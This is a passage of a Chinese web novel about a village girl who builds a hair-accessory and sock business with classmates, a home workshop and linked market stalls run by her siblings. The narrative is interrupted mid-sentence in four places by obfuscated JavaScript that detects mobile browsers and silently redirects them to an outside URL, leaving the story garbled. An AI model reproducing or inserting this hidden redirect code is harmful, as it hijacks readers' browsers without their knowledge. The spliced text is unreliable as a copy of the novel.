李亦航加了句：“学校里肯定不鼓励我们做这个，怕影响不好。所以我提议在我家。” 他说话完全没有了上两次见面的劲，徐春天都忍不住怀疑自己，是不是认错人了！ 不过代理还是谈成了，大家是同学，徐春天每双袜子只赚两毛，至于他们自己卖多少，她不管。 腊肠闷饭很好吃，陈一帆还切了盘子从家里带来的咸鸭蛋。三人用热水代酒，“合作愉快！” 吃过饭交接完货，就有意外访客。 “陈一帆，春天是不是在这？”两个熟人现在门口，向院子里张望。“程颜，谭玉，你俩咋了来了？” 徐春天没想到能见到她俩。俩人跑进来，“回宿舍听舍友说，有个大美女骑着三轮车来找陈一帆。我猜可能是你！” 徐春天笑了笑，“陈一帆上次说要代理嘛，赶上下雪，他回不去。我今天来进货，就顺便过来了。” 程颜和谭玉当然知道她来是干什么，因为她们匆忙过来，也是有自己的心思。 谭玉直接掏出本子，“春天，你看这是我们画的图，虽然画的有点粗糙，但我相信，你肯定能做出来。” 程颜也接着说：“我们还问了同学们的想法，想要什么样的，把一些觉得有用的建议，也都写了。” 俩人认真的看着徐春天，“我们也想做代理。” 陈一帆急得跳起来，“不行！我都谈好了。” 谭玉噗嗤笑了，“我们不和你抢！你卖袜子，我们卖头饰！” “那还差不多。”陈一帆嘴里嘟囔，“你们也不早说，害我白着急。” “春天，行不行啊？” 徐春天认真看了看本子上的画和字，很是惊喜。“行啊，不过这次我只带了袜子。等我回去把货做出来，咱们再谈。” 她说完从车把挂的包里取出一个塑料袋，“我原本打算托陈一帆给你们的。” 程颜和谭玉打开，里面竟然是好几种发卡，带钻蝴蝶发夹，毛绒球流苏发卡，还有蓝白方格布的发圈。 “这个毛绒球流苏是我自己设计的，下雪后我赶集 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16891354|192180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路上，看到落在草从上的积雪，毛绒绒向花一样，就雪绒花，我就有了这个念头。” “太好看了！”谭玉很喜欢。临走前，徐春天建议她们，如果发真想做代理，最好是不要在宿舍里。 别人去宿舍买东西，容易引起其他舍友的不满。再就是学校会觉得这影响学习。她们是女生，也不要来李亦航的家。有时候流言蜚语真的很可怕。 比如徐春天，她是真切领教过的。她不希望为了挣点钱，让自己的朋友陷入困境。 谭玉哈哈一笑，“春天啊，你可真好！” 程颜心里叹了口气，她觉得徐春天这段时间肯定承受了很多，以前，她从不在乎，准确的说是不在意这些东西。以前的徐春天，心里只有学习，对其他方面钝的很。 这边事情处理结束，徐春天赶紧去批发市场找孙兰清汇合。孙兰清在刘姐店里，给家里人都买了新秋衣秋裤，还给郭姥娘和金奶奶都买了件红色厚外套。 进入交九，也就是预示着进入一年最冷的时候。有了改装车，徐春天就没再叫家里人去赶集，而是坚持自己去。四天赶集，第五天休息，如此循环。 到了元旦前一天，孙兰清突然说，“没想到，小羽订婚了！” 徐春天一顿，“小羽？” “是啊，就是咱前面那个小羽啊，她家里人嘴了真严。又不是啥好人家，害怕还怕别人抢啊？” “那个，她嫁谁了？”徐春天隐约记得前一阵媒婆上门，说亲来着。 “就高家那个，放狗咬你的那个。” 孙兰清嘴上这样说，其实也没多大感觉。“小羽比你还大几岁呢，不结婚咋行？家里给她治成这样就很不错了。以后嫁了人，有个孩子，老了也有人管！” 嫁人！又是这套说辞！ 徐春天不爱听，心里的火蹭蹭蹿起来！ “那种烂人，嫁过去能过上好日子？” 她是真搞不懂父母辈的想法，干什么都是为了嫁人。比如她最讨厌做饭，孙兰清就会说她在娘家这么懒，去婆家这样可咋办等等。好像女孩子就应该做饭刷锅洗碗干家务，从娘家培训好去婆家当牛做马！ 徐春天气哼哼的，却改变不了什么。元旦，小羽订婚了。她甚至看到了那个高家的坏蛋，知道他叫高飞腾，知道结婚的日子也定下了，就在十天后。 “切，干嘛这么着急？”徐春天很不理解。孙兰清和她解释，“是高家找人算了，说是明年结婚不好，今年先摆酒席。小羽还不到二十呢。” 哈？还没到结婚年龄，哎，甚至连年都不能在家过！ 但有些事，不会因她的意志而改变。她能做的就是管好自己。徐春天的头饰事业，有了新突破。 有几款仿照电视剧里的流行款式，在学生中卖的非常好。程颜和谭玉也已经如愿成了她在一中的代理。 不过，认真比较起来，她这几个代理中，还真有人才。 比如，徐春雨！ 20. 商业思维 徐春雨身为一个小学生，生活范围不过是学校和家里，她竟然无师自通，自创了套适合小学生的商业思维。 农村小学生手里，基本没有多少零花钱。但这并不代表小学生没有消费能力。 徐春天还记得她五六年级的时候，同学之间特别就行扎耳洞。店家用枪打，然后买一些漂亮的耳钉耳坠戴。她就跟孙兰清要钱去扎。 不过最终她怕疼，没有去扎。那原本扎耳洞的钱，就都买成了零食。 爱睡懒觉的徐春雨，每天早起让孙兰清给她扎辫子，今天带圆发圈，明天就用方巾发圈，天天换，不重样，发夹也是。 学习上，她也更加努力，还主动拉上她的朋友们。在元旦前的测试中，她和几个朋友成绩都有了很大的进步。 “姐，你明天去给我开家长会吧。”徐春雨拿着试卷兴奋通知徐春天。“我和同学们都说好了，等开完家长会，她们就找你买东西。” 徐春天有点怀疑：“你确定？” “当然啦！姐，你明天记得挑些好看的啊，多来些发夹，就那个蝴蝶发夹，毛球球，还有带小花的和小动物的……” 徐春雨对姐姐做的发夹如数家珍，毕竟有些还是她提议的呢。 第二天下午，徐春天第一次以学生家长的身份，重新回到她的母校。熟悉的老师，熟悉的校园，只是学生们不再是熟悉的面孔。 家长会顺利结束，徐春天就看到徐春雨身旁围了一群小姑娘，围着她的三轮车叽叽喳喳。 “姐，快把车打开。” 小车打开，里听到哇声一片。徐春天第一次觉得小女孩们也挺吵闹的。不过她们也都非常可爱，她们会对着镜子臭美，也会扬起小脸，真诚的夸奖徐春天的东西好看。最后还会拉过家长付钱。 “俺闺女这阵子学习可认真了。说是你妹妹春雨拉着她学习。有时候你妹妹还会把发夹借给她戴。以前啊，我怎么念叨她都不学。” 一个家长会，家长们也都把徐春天同县一中休学挣钱摆摊，大集上车上有兔子，卖袜子头饰等有效信息连在一起。 孩子成绩进步，买几个发夹头花又算什么，本来就是要买的东西。好几个年轻的妈妈还给自己买了发圈。妈妈们更喜欢发圈。 “这种是叫方巾发圈吧，有点像我们那时候，把绸子扎辫子上。” 仅仅一个家长会，徐春雨就超额完成了百元任务。这可给徐春河带来巨大冲击！他的百元任务，进度还是零呢。徐春河夜里辗转反侧，袜子头饰，他咋卖呢。 班上女同学挺多，可他不好意思开口。男生就更别说了，哪个人自己买袜子，都是家里给买。 “唉！”徐春河觉得自己大概要做点什么。 他躺在被窝里默默复盘了姐姐摆摊之路。卖什么，卖给谁，怎么卖，越想他越是佩服姐姐。让别人心甘情愿的掏钱，有点难。 过了元旦，徐春天的生意更好了。陆陆续续有大学放假，大集上年轻人明显多了。徐春天的头饰已经不再是原来的统一定价，而是根据款式和做工，分了四五个不同的价位，但发圈的款式就有十七八中，发夹的种类更多了，还经常上新品。 如今，小车车厢也卖发饰，所有的袜子都摆挡板上了。大集上也陆陆续续多了好几家卖袜子的小摊，不再是她一家独大。但论销量和回头客，依旧是她家独树一帜。 “你家的东西都很好看，我怎么在其他地方没见过呢？”有好几次，买东西的女生忍不住问。有人看她卖的好，说话直接，　“小美女，你都是从哪里进货？义乌吗？我都想进点去学校跳蚤市场卖！” 徐春天好奇，“大学里还有跳蚤市场？” “当然啦！学生们自己摆个小摊，卖啥的都有。主要是每年大四学长学姐们毕业，老多东西带不走，扔了可惜。就会放跳蚤市场去卖。” “大学可以自由了。我同学有在宿舍卖垃圾袋的，也有去奶茶店兼职打工的。我刚报到时，遇到学长学姐，她们竟然代理卖电话卡，还有代理驾照的，代理培训班，比如学c＋+。” …… 听着她们的介绍，徐春天心生向往。大学这么好呢，放假也早，在学校里也只自由，还能学到各种知识。她真的，想去看看！ 另一边徐春河兴奋的告诉徐春天，“姐，这次进货你带上我。我想批发些草稿纸和笔。” 徐春河在班里做了个小范围的市场调查。最终发现，身为学生，最常见且占比最大的支出，肯定是文具了。尤其是向草稿纸和笔芯这类消耗品，价格不高，消耗量巨大。 没有调查，没有发言权。徐春河这次是彻底明白了这句话的好含义！ 徐春河的事业终于缓慢起步，而徐春雨则已经转换身份，开始向生产商进军。 元旦过后，徐春天决定提前筹备新货，冲击寒假和春节，抓住这段时间巨大的人流量，深挖消费潜力。 她决定在家里腾出一间房，专门用来做头饰。之前的头饰多是自家人齐上阵，孙兰清负责缝纫，金奶奶负责裁剪，徐大龙负责粘贴，就连徐爷爷，也会帮忙。就连徐春河徐春雨，写完作业也会来帮忙，完全用实际行动证明家里不养闲人。 “娘，我想多备点货，不过咱家人不够用。我想着再买一台缝纫机，找两个人，这样效率会更好。到时候我爸负责检查质量。让我爷爷奶奶清闲下。” 孙兰清听她这样说，有点心疼钱。“那你再找人不得花钱？能卖出去吗？我们现在这样，不也挺好吗？” 徐春天笑了笑，“娘，你就放心吧。我到时候会给你也开工资。你就帮我问问有没有人愿意来！” 肯定有啊，孙兰清可太知道了，冬天地里没活，大家闲着也是闲着，谁不想挣点钱？可是，村里哪里有合适的挣钱机会呢？ 做头饰真没啥技术含量，基本有手就行。孙兰清心里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16895212|192180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盘算着和自己关系不错，手巧家里事少的人。 “就会蹬机子（缝纫机）就行？”徐秀荣不可置信的看向孙兰清，“你别是诓我吧？” 孙兰清看着好姐妹这样，她没说话自己就先笑了，“咱俩啥关系啊，我骗你干啥？你去不去？你要不去我找别人去。我家老大可说了，就找俩人。按件算钱。至少从现在干到过年。” “我去，你还打算找谁？” 孙兰清还没想好呢，她前脚回家，后脚就有人自己主动找上门。 来人是小羽她娘。她家就住在徐春天家前面，属于前后邻居。 “俺是看白天人家来送机子（缝纫机），就想着，你家是不是打算找人啊？俺家近，家里也没啥事，小羽也嫁出去了。嫂子，你也知道俺手脚麻利的很。要是找人，你可想着俺。” 孙兰清的确有考虑过她，而且她都直接来了，向来脸皮薄的孙兰清，看着人家热辣辣的眼神，想拒绝的话也说不出来。 “行啊，那明天你就来。到时候我家老大给你们说说咋做，还有工资的事。” 小羽她娘叫谭桂兰，听到孙兰清这样说，她简直直美坏了。这些年，家里给小羽治病，欠了很多钱。除了小羽，她还有个小儿子。能多一点挣钱的地方，她多挣一点，家里债能早一点还完。 第二天，徐春天不赶集。 两台缝纫机都已经放前院东屋了，这个屋子里点了炉子，还烧了火炕，暖和和。谭桂兰，徐秀荣早上吃完饭收拾好就来了。 一进屋，看着两台缝纫机整齐摆放，屋里干干净净，两张孩子上学用的书桌，也整齐的摆好，剪刀等工具一应俱全。还挺有点正式样子。 墙上已经挂好了颜色不同，长短不一的布条。徐春天简单说了下分工以及干不同活的价钱。做工越复杂，价格就越高，缝纫，串珠，镶钻等都是不同价格，从3厘但8厘不等。有事提前说，不耽误回家做饭。但是对质量有要求，做不好就必须返工。 徐春天称之为工作室。这还是他上辈子听别人说的。工作室听起来很高大上，实际上很多就是家庭小作坊，甚至有的工作室就一个人。 头饰工作室，主要做各种发圈，发夹，还有布艺发卡。产品都是徐春天设计，然后制作出样品。工作室几人按照分工，各自完成不同工序，将产品做出来。徐春天会时刻根据市场反馈来调整产品。 有了这个工作室，徐春天卖头饰的优势一下子就凸现出来。寒假来临，集市上越发热闹，也有不少新加入的摊位，卖饰品，卖头饰。有些直接从南方进货，本以为南方新出的头饰，在北方农村大集必然是新鲜货，可等摊主去了集上，才发现有个摊袜子明显是批发货，可头饰怎么样式那么多，关键是还每集都不一样，根本不像是囤货或者批发来的款。价格便宜的就像清仓大甩卖！ 大集上框框挣钱的同时，县一中的代理们，也都打电话传来了好消息！ 21. 大胆提议 “袜子收入挺稳定的，徐同学。”陈一帆喜滋滋的在电话里说。他从来没想过，自己还有做生意的天分。现在他们卖袜子的事已经小范围传播开了。他们质量有保证，款式也好看，最主要的是价格便宜，中国人不骗中国人，一中学生更不会骗一中学生。 “哪个？你也给我们点女款袜子呗！”好几次有女生还问他买袜子呢。 “不行！女孩子们进进出出你们住的地方，传出去可不好听。”徐春天直接拒绝。 陈一帆对这个理由很无语，“你这是封建思想！你这么年轻，咋思想比老班还封建呢？……” 徐春天记得上辈子听说，高一和高三是学生恋爱高峰期。高一大家初相识，又都是青春气息洋溢，对恋爱懵懂，很容易就有了好感。而高三压力大，也容易催生出恋爱念头。当然有些人是看别人恋爱就更风，也有人青春叛逆。家长老师越是不让，他们就越是要谈，感情大过天。 但无论他怎么说，徐春天就是不松口，反而告诉他一个噩耗，如果程颜和谭玉愿意，她打算给她俩供货女袜。 陈一帆这下真的没招了。 李亦航从陈一帆手里接过电话：“徐同学，你能不能搞来男士内裤？” “啥？” “啊？” 李亦航再次重复，“我是说，你方才说的也很对。我们卖女生的袜子的确不太合适，还是程颜她们更方便一点。” “所以我想，袜子有需求，内裤其实也有，特别是纯棉内裤。” 他说着，陈一帆忍不住冲他竖起一个大拇指。“哥们，你真牛，和女生也能坦然的讨论内裤。” 其实高中的越多学生还挺单纯，有些话题就不太适合男女生之间聊，特别是涉及到一些接近隐私的事。 “你说的这个，我考虑下。”徐春天没觉得有什么不好意思。挂了电话，她认真的考虑下。 她之前就做过市场调查，农村大集上，内裤款式不多，甚至可以说没什么款式可言，大裤衩子三角的平角的。村里人也都节约，内裤穿在里面又没人看见，洗干净就行，破点旧点都无所谓。所以，她并没有选择内裤。 但李亦航的提议就不同了。校园里的高中生都是青春年少，在集体生活中，还是更愿意体面一点。还有女生那边，在保证质量和价格的同时，可以增加些款式和颜色。 徐春天很快心里有了主意。 她找出自己的笔记本，翻出电话，赶紧打过去。 “孙姐，我是徐春天小徐啊，你们厂的内裤生产线，上了吗？” 孙姐是她在袜厂认识的销售员，之前就听孙姐提到过，她们老板背后还有老板，简单来说，，县里这个厂其实是南方老板的代加工厂。据说那个南方老板在南方有大厂子，当地号称内衣小镇。袜子内裤都生产。 徐春天最开始还很不理解从生产袜子到生产内裤这种转变，经过孙姐解释，她才听明白那种模式叫做多元化发展。袜子内裤看似不沾边，实际上无论是从生产工艺，原材料到供应链基础都很相近。而且，一种产品打出名气，获得市场认可，另一种产品则更容易被市场接受。 就比如徐春天，她想卖内裤，第一个就想到这家袜子厂。袜子物美价廉，那内裤肯定也不会差。 “小徐啊，你这电话打的正是时候，内裤线已经生产了。你啥时候过来，跟姐说一声，姐带你看看。” 徐春天会心一笑，“那可太好了，姐，我明天就过去，还是那个时间。” “好嘞！” 之所以这么着急去，是她因为她计划着年前大干一场。挣钱不容易，徐春天既想多囤货，又想换辆电动三轮车。但她这半年刚挣了些钱，实在是不习惯直接把钱都花出去。 徐春天在心里暗暗决定，如果这批内裤销售额能达到预期，她立马换辆电动三轮车。现在的车上，已经不能够满足她的进货需求。而且，等中小学放寒假了，她还计划着让春河春雨也一并去赶集守摊。具体卖什么她都想好了。 “挑内裤啊，就三点，舒适耐穿，价格实惠，设计简约。” 孙姐早就准备好了，在听到徐春天的打算后，她心里挺欣赏小姑娘的魄力，还有眼光。 “舒适耐穿，首先是材质。纯棉的吸汗透气。而添加氨纶，我们厂这款就是5%的氨纶，95%的棉。这样的配比会增加内裤的弹性，使得内裤柔软适中，还不容易变形。” “其次是做工。我们厂的内裤啊，你看看这做工，采用平缝工艺，标签缝在外，基本无痕，穿起来也不会摩擦。” “最后就是款式。男孩子嘛，打篮球踢足球的，宽松平角裤和贴身平角裤就行。” 徐春天心想，不愧是有南方大厂做背景，生产出来的内裤的确不错。她都想买些。 “姐，我还想看看女款。” 孙姐自然是答应。女款市场更大，款式多，做工精细，相对来说价格更高一点。 “你看了绝对喜欢！” 孙姐说的没错，徐春天当即就进了货。骑着三轮车直接去了县一中后的李亦航家。 恰好今天是周末，为了等徐春天，李陈一帆都没有回家。 “徐同学，你来啦！航哥，快来！” 陈一帆是个热情开朗的大嗓门，嗷嗷几声就把徐春天的车子推进院里，李亦航也走了出来。 “验货吧。” 温度虽低，但太阳不错，徐春天坐在凳子上，捧着一杯热水。 她还是不太习惯和异性共处一室。 好在陈一帆和李亦航验货也快，单从购买者的角度，两人对这批内裤都满意极了。 说实在的，他们并不太会挑，可男孩子发大了嘛，总不好继续让家长给买。 “徐同学，这批货真不错。价格呢？” 徐春天进价就不算很低，但因为她这批货就是针对学生群体进的，所以她只在批发价基础上加了一点价。 “零售的话，五元一条。我觉得你们可以搞个寒假礼包，袜子内裤联合，或者加上文具。” 草稿纸和笔芯，高中生需求就更大了！ “哎，徐同学，你脑子咋这么灵活呢？这点子太好了！” 陈一帆双眼满是欣赏，边说还撞一下沉默的伙伴，“航哥，你说是不是？” 李亦航低声道：“是啊。” 徐春天没有在他们这过多停留，就直奔程 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16895213|192180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颜和谭玉的住处。两人也出来租房子了，位置在学校里面。 县一中操场东南角有一处家属院，都是平房。住的都是一中的教职工。所以家里人才放心让程颜和谭玉出来租房子住。 徐春天进院，就看到程颜从屋里跑出来，手里还抓着一把青菜，“春天，你可来了。快洗手，我们吃火锅！” 大冬天的，吃上一顿热腾腾的火锅，什么疲惫都没有了。 程颜和谭玉对女袜和女士内裤也很喜欢，当即自己就挑了些。 “尺码表都有，女款的价位要多一些。材质都一样，主要是款式的区别。” 徐春天交代完，随即选择告辞。“趁天色还早，我去商场和批发市场上转一转。” 元旦后的商场里，人流量更大。徐春天刚一进去，就感觉到喜庆的氛围。来来往往的人群里，年轻的面孔明显多了。 新鲜的水果，在灯光下散发出诱人的光泽。红艳艳的草莓，价格巨贵。徐春天看了看，打算明年自家也整个县拱棚种草莓。 草莓在大地里非常好养活，她奶奶家就有，一片片的。别看冬天叶子蔫蔫的，等到了初春就开始绿起来，支棱起来，开花挂果，满院子的清甜草莓香味。就是长得草莓，容易坏。不是烂了，就是让鸟啄了。 市场里新年氛围更浓，年货都开始上了。徐春天转了一圈，终于是凑齐了她想要的东西。她心里记下来，等放寒假了，就带春河春雨一道来进货。 路过刘姐的店面，她拎着橙子和苹果走了进去。“刘姐！” 此时刘姐正坐在桌子后忙着编织东西，手指灵活很跳舞一样，编的飞快。“哎呀，小徐，你来就来呗，还拎啥东西啊？” 刘姐和孙姐是好朋友，自然知道徐春天最近生意不错。 “姐，你这是编啥呢？”看起来红彤彤的，应该是中国结。 刘姐笑了笑，“好看吧？” “好看！”徐春天原本以为中国结都是一种样子，没想到徐姐手里的中国结，和她印象中的很不一样。 “这是中国结！我这种编法比较麻烦，但编出来更加好看，卖价要高一点。” 听刘姐这样说，徐春天有个疑问：“姐，衣服都能机器生产，这个还人工编吗？” 刘姐笑了，“当然了！现在虽然也有机器生产的中国结，可你要知道，机器是死的，人是活的，那机器生产的都一个样。人编的就能五花八门。” 还挺有道理！ “怎么样？要不要学？过年期间这玩意卖的可好了。自己买线，成本也低，就是费工夫。”刘姐很大方。 “可以吗？”徐春天还挺想学的，只是人家刘姐是编来卖钱的。 “这有啥？其实编织中国结，看着是有手就行，但实际上可不是那么一回事。我家老大就手笨，编出来不像样子。老二但倒是行，可她没有耐心。” “你去商场里多买几个不同的中国结，回家自己拆开，手巧的人自己就能看会喽。” 刘姐有点得意，“我就是这么会的！可惜家里就我一个人会编。” 徐春天心中起了念头，费工夫？需要人？说真的，村里人最不怕的就是费工夫了！ 23. 三摊联动 徐春天指了指抽奖广告牌上画的路线。 “拐弯向南，那不是以前卖年画春联的地方吗？”谭晓西念了出来！ “对，”徐春天大声说：“今天啊，满十块抽奖一次，满二十抽奖两次，以此类推。结账后我送你们彩色鹅卵石。你们到抽奖那，凭借鹅卵石就能抽奖啦！” 摊位前正在挑选的顾客们听到这都觉得有点意思，“有啥奖品啊？这么远，还得走一趟！” 徐春天笑着说：“我只能说，绝无空奖，物超所值！一切都是缘分，过年嘛，就图个乐呵。” 赵晓丹和谭晓西以及那几个姑娘，几乎都买了十多块的东西。每人手里都握着一颗彩色光滑的鹅卵石。 “去呗！” “我就是想看看有啥奖！” “不去才不去！” 女孩们笑嘻嘻的一块去找抽奖的地方。刚走了一段路，就发现前方显眼的红色牌子，上面写着超级醒目的“抽奖” 二字！ 赵晓丹走近了才看清楚，一个小学生模样的女孩，头上戴着嫩黄色毛茸茸的头花，穿着红色棉外套，粉色裙子，正站在那摆弄鹅卵石，旁边坐着一个爷爷，两人前面的桌子上摆着三个红色的桶。 准确的说，那是抽签桶，类似于电视剧里，人们去庙里抽签的那种。红色的桶里放着十来个签。 “姐姐，抽奖啊，把小石头给我。” 徐春看到赵晓丹，连忙招呼。 推给她一个抽签桶。“姐姐，你可以直接抽签，也可以摇桶，让老天帮你抽哦！” 赵晓丹笑了笑，“那我还是更喜欢自己做选择！” 说着她抽出一支签，上面写着上上签：飘雪水晶球。 徐春雨激动的跳起来：“哇！姐姐，你手气太好啦！飘雪水晶球啊，我姐就买了十个！！超级好看！” 她的情绪也迅速感染了赵晓丹和谭晓西，“真的嘛？水晶球啥样的，还飘雪？” 徐春雨蹦起来就把身后唯一关着的箱子打开，取出一个精美的盒子。 “呐！恭喜姐姐，飘雪水晶球哦！” 晶莹剔透的硕大玻璃里，普通一个小世界，雪花纷纷飘落到草地上，小房子上。 精致又漂亮，看起来就很贵！ 身后等着抽奖的女孩们心里激动，目光扫过徐春雨身后的箱子。打开的箱子可以看到，有笔和本，有小挂件，造型多样的摆件，毛茸茸的小玩偶，帽子手套围脖，还有玩具车等等。 可以说，无论抽到啥，都是赚的！ “我也抽！” 女孩能纷纷抽奖，有的选择自己抽，也有人学着电视剧里女主角的样子，摇晃抽签桶，念念有词。 “摆件！” “我的是毛绒玩偶！” …… 抽中的人自己挑选好，徐春雨就那给她们。 看着别人都抽中了，谭晓西后悔了：“丹丹，我也要抽奖，快跟我回去买东西！” 说着她硬是拉着赵晓丹，跑回徐春天那里买了一个中国结！ 十块钱一个，她正好可以抽奖一次！摆件，她选择了一个熊猫。 经过她这么走一趟，带来了很多人。本来许多人买完袜子头饰或者中国结，就把鹅卵石收起来。想着等要买东西走到这边的时候，再抽！ 可一听有人抽中了上上签，还就十个，大家就等不及了，特别是小孩子，恨不得马上就去。跟着大人买东西太无聊了，抽奖多有趣啊！ 等他们到了抽奖的地方，才发现旁边的摊位更加有趣！ “套圈！” 徐春河看起来内敛文静，一副好学生的样子，实则心眼挺多。他让其他两个兄弟站在摊子，拿着套圈套着玩。 这时候，套圈在村里大集上几乎从没有出现过。对于许多人来说，在现实中是个新鲜东西。 实际上，只要爱看电视，肯定从电视剧里看到过。比如《还珠格格》里，赛娅公主逛京城的时候，就玩过套圈。 一根绳子围起一个长方形的地，场地里摆了大大小小各种小玩意。有很便宜的小摆件，也有漂亮的飘雪水晶球，有孩子喜欢的玩具车挖掘机，警车，还有能喝水的杯子。 人只需要站在生意外套就行。绳子上挂着价格牌子。 “套圈套圈，套上就拿走！” “一块钱十个圈，二块钱三十个圈！” 赵晓丹在市里看到过，可她没时间玩。今天抽到了上上签，她是彻底玩开心了。 “姐，我们也套圈呗。你一块我一块，两块钱三十个圈，多合适啊！” 谭晓西心动，她想着要是能套个飘雪水晶球多好啊。 “你还挺会算账！” 俩人二块钱买了三十个圈，红黄荧光绿三中颜色的圈，圈挺大，而奖品的距离也不远。 谭晓西觉得，套个飘雪水晶球，好像也没有那么难！ 瞄准水晶球，一个圈呼啦飞出去，偏了！ “唉！偏了呢！” “哎，差一点！” 谭晓西连续套了五六个，愣是没套中。周围人但是看的热闹，甚至有人觉得她准头不行，恨不得替她套。 “姐，要不你换个近点的？”赵晓丹提议。 “行吧，我套最近的小挂件，我就不信套不中！” 谭晓西信心满满，一圈就中！“啊！我套上了！” 手里还剩下三个圈，接着她又瞄准远一点点的毛绒玩具。接过啪啪扔了好几个，愣是没套中！ 就剩下最后一个了，谭晓西也不抱希望，冲着飘雪水晶球随手一扔。 “哇！套中了！” 围观的两个小孩比率先喊出声！赵晓丹也立马抱住谭晓西，“姐，你真神啦！随手一套，竟然中啦！” 谭晓西的心情就像是过山车，整个人都有点懵，直到徐春河把飘雪水晶球和挂件递到她手里，心中的狂喜涌出来，“啊，丹丹，我竟然真的套上了水晶球！！！！” 今天，她将是最快乐的女孩！ 不对，还有丹丹，她们俩今天都是最快乐的女孩！ 赵晓丹也扔完就十五个圈，但她套中了一个小中国结挂件，和红色鹅卵石。 “凭借鹅卵石，可以去旁边抽奖！” 听徐春河这样说，赵晓丹立马印证了自己的猜想：“你们，还有那个春天姐姐，是一家？” 徐春河淡淡一笑，“对，那是我姐姐，她是我妹妹。” 赵晓丹佩服：“你们可真厉害！不过这颗彩色石头我打算留着，当做纪念！” 有她俩在前面打样，围观的人也学聪明了，即便是不认识，也找个人搭伙，一人一块，两块钱买十五个圈。 最开始还都是小孩子玩，后来人就更多了，有人连续买了十块钱的。 徐春河给他一个彩色石头：“满十块，免费抽奖一次，绿绝对没有空奖！您凭石头去旁边抽就行啦！” “吆，还能这样？”没想到还有意外之喜呢。 然后这个人抽中了上上签，一条漂亮温暖的黑白纹围脖。他美滋滋的戴上，软软糯糯的触感，戴上感觉还真暖和了许多，“哎呀，我正缺一条围脖呢！” 三个摊位联动，相互引流，这使得集上无论是从哪个集口来赶集的人，都一下子知道这三个摊。 在徐春天最初的设想里，肯定是大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16902225|192180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多数客户从她这买了东西，然后去找徐春雨抽奖。然后注意到旁边徐春河的套圈。她本以为这是一条单向引流。 没想到徐春河和徐春雨她俩在彼此的摊上做了互动，徐春河的套圈奖品里放了彩色鹅卵石，还设置了与徐春天小摊相同的规则，满十元抽奖一次。而徐春雨的抽签里，她特意让爷爷写了一个一元套圈。 这正是因为三个摊位之间的联动，许多想抽到自己喜欢东西的人，反而跑徐春天的摊上买东西。最基本的可以买袜子，多了就放着，反正也没有坏。这就给徐春天的摊位带来了逆向引流。 整个上午，徐春天摊位前就没断过人。她生意的火爆，惹得隔壁摊位的李艳羡慕不已。 “小徐啊，你这脑子是咋长得？简直太有才了！我看你这人就没咋断过呢？” 徐春天笑了笑，还没等她说话，一上午忙碌着管理彩色鹅卵石的金奶奶先开了口：“俺这大孙女，打小就聪明。还能吃苦。你看看这一上午她忙活的，就是回到家，下午整理货，晚上还学习呢。人都瘦了！” 老太太会说话，听她说完，李艳心里那一点点浮起来的嫉妒就消散了。徐春天本就是能考上一中的孩子，脑子好是必然。再说明年就上学去了，孩子多挣点钱，不是应该的嘛！ 这么一想，她心里不仅舒坦了，甚至还有一点愧疚。 “婶子，你要不要加入我们？” 徐春天觉得，其实李艳家生意就很不错，到若是也和她一样搞活动，或许效果也不错。 李艳最开始的确是看着羡慕，甚至动过心思。但其实她家生意不错，两家品类不同，她也没必要非占小徐的便宜。 “不了不了，婶子顾客都是老回头客了，还是以前咋卖就咋卖吧。” 李艳挥挥手就回去了。等她回到家，才知道自家老大今天竟然是跟着徐春河摆摊。 “娘，我这不是怕你让我在家学习，不让我去嘛？其实，我们几个一起写作业，一起赶集，春河还给我们发工资呢！” “娘，你就让我去吧！他们散集直接去春河家写作业了！” 听儿子这样说，李艳直接没了脾气。 “你咋不去？” 她儿子委委屈屈，“我没告诉你，怕你们担心。娘，你就让我去呗？” “去吧去吧！” “那钱？” “你自己攒着吧。” 再说徐家，散集到家已经快两点了。孙兰清在家里做好了饭。徐春河把带着同学吃完饭直接去屋里做作业。他们计划年前就把作业写完。 小学生徐春雨则强烈表示，她想帮忙数数收回了多少彩色鹅卵石。至于学习，打算晚上和徐春天一起写。 